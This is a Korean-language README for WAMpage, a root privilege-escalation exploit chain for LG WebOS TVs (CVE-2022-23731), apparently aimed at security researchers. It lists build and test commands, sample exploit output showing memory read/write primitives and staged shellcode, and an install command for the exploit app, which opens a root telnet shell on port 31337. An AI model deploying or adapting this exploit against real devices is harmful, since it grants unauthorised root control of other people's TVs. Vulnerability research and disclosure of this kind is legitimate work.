
WAMpage - A WebOS root LPE exploit chain (CVE-2022-23731)
WAMpage - WebOS 루트 LPE 익스플로잇 체인 (CVE-2022-23731)
이 익스플로잇은 주로 다른 연구자에게 관심이 있습니다 - TV를 루팅하려면 아마 RootMyTV를 원할 것입니다. 이는 안정적인 1클릭 영구 루트를 제공합니다.
현재 32비트 SoC의 WebOS 4.x만 지원합니다. 이 소프트웨어는 '있는 그대로' 제공되며, 사용에 따른 책임은 본인에게 있습니다. 등등.
Writeup: https://www.da.vidbuchanan.co.uk/blog/webos-wampage.html

필수 조건:
apt install qemu-user
npm install -g @webosose/ares-cli
컴파일:
make
make test는 d8에서 익스플로잇을 빌드하고 실행하며, qemu-arm에서 실행됩니다. (bin/ 디렉토리에 d8 및 종속성의 사전 컴파일된 버전이 포함되어 있습니다). 익스플로잇이 성공적으로 작동하면 다음과 같은 결과가 나타날 것입니다:
[+] Starting WAMpage...
[+] addrof(myobj) = 0x5a68f5d1
[+] Test: reconstructed myobj: {"foo":"bar"}
[+] Set up arbread32/arbwrite32.
[+] stage2 shellcode loaded @ 0xff458000
[+] myfunc @ 0x5a693369
[+] stage1 RWX buf @ 0x5bb8f280
[+] Copied stage1 shellcode. Calling...
Traceback (most recent call last):
File "<stdin>", line 25, in <module>
IOError: [Errno 13] Permission denied: '/dev/mem'
권한 오류는 예상된 것입니다. 시스템이 완전히 잘못 구성되지 않았다면 말이죠.
devmemes.py 익스플로잇을 TV에서 직접 실행하여 테스트할 수 있지만, 처음부터 루트 권한이 있거나 비샌드박스/비격리 셸이 필요합니다.
ares-install을 사용하거나 IPK를 수동으로 복사한 후 개발자 모드 셸에서 다음을 실행할 수 있습니다:
luna-send-pub -i 'luna://com.webos.appInstallService/dev/install' '{"id":"tv.rootmy.wampage","ipkUrl":"/path/to/wampage.ipk","subscribe":true}'
앱을 실행하고 "Start Exploit" 버튼을 누릅니다. 모든 것이 잘 진행되면 텔넷 서버가 31337 포트에서 열립니다.